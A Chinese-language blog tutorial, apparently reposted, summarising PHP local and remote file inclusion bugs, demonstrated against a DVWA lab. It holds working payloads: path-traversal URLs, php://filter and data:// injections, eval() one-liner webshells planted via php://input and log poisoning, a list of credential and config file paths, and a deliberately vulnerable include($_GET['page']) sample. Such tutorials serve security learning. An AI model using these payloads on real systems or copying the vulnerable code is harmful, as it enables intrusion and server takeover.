php 文件包含漏洞,文件包含漏洞总结

9f74c20e7c320b695298631bf3258f10.png

前言:

本人(九世)正式从博客园:迁移到:http://hackhat.net。会进行同步更新

正文:

漏洞来源:

文件包含漏洞,得从文件包含说起。一般写代码的人都知道,完成一个项目里面有很多的文件调用和引用

而文件包含漏洞,因为文件包含的时候没有做对应的防御措施导致引用的文件变成攻击者所指定的文件。

PHP中提供了四个文件包含的函数

函数名称特点

include

遇到错误,仍会执行

include_once

遇到错误,仍会执行

require

遇到错误,不会执行

require_once

遇到错误,不会执行

文件包含漏洞又分为:

本地文件包含

远程文件包含

文件包含利用工具:https://github.com/D35m0nd142/LFISuite

2018063017530413-295x300.png

本地文件包含:

利用的价值:可包含目标服务器里面的文件

利用的方法:绝对路径包含,协议包含,日志包含

上传图片马,然后包含

若有phpinfo,能知道临时文件的路径,则可以包含临时文件

phar协议的特殊姿势:http://bbs.pediy.com/thread-216191.htm

1.绝对路径包含

原:

2018063017195468-300x171.png

将include.php变为/../../../../../phpinfo.php

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=include.php

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=/../../../../../phpinfo.php

2018063017162265-300x180.png

包含C盘某txt

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=/../../../../../windows-version.txt

2018063017224476-300x173.png  

2018063017231764-300x204.png

可以发现出现在左上角了

2.协议包含

一般使用的协议有 php,file,data,zip

php协议的用法:base64编码查看脚本的代码,php进行写入

例子:

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=/../../../../../shell.php

得到加密的base64:PD9waHAgQGV2YWwoJF9QT1NUWydoYXEnXSk7Pz4=

2018063017381131-300x130.png

解密之后:

2018063017402591-300x150.png

file协议的用法:包含文件

例子:和上面的/../../../../../一样这里就不在重复

2018063017162265-300x180.png

data协议的用法:data:text/plain,《php代码》

例子:

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=data:text/plain,%3C?php%20system(%27ipconfig%27);?%3E

很明显的可以看见,利用data协议执行了cmd命令

2018063017434529-300x54.png

php://input进行写入:

php://input&cmd=dir

post提交:<?php @eval($_POST[‘cmd‘]);?>

20180630193834183585.png

3.日志包含

利用LFISuite扫描到可以读取的日志

直接提交://http://xx.com/<?php @eval($_POST[‘c‘]);?>  ,然后burpsuite抓包将提交被html编码的改好进行提交

访问日志,然后配置好C刀即可获取一个一句话木马。

2018063017594126-300x160.png

一些常见的日志目录:

windows:

c:\boot.ini

c:\windows\systems32\inetsrv\MetaBase.xml

c:\windows\repair\sam

c:\windows\php.ini php配置文件

c:\windows\my.ini mysql配置文件

Linux:

/etc/passwd

/usr/local/app/apache2/conf/http.conf

/usr/local/app/php5/lib/php.ini PHP相关设置

/etc/httpd/conf/http.conf apache配置文件

/etc/my.cnf mysql配置文件

远程文件包含:

前提:需要开启allow_url_fopen,默认关闭。

新建php.txt:

1

2

3

echo "hello world";

?>

新建index.php:

1

2

3

Include($_GET[‘page‘]);

?>

python打造文件包含检测工具:http://www.cnblogs.com/haq5201314/p/9192535.html

测试图:

20180630193834667879.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值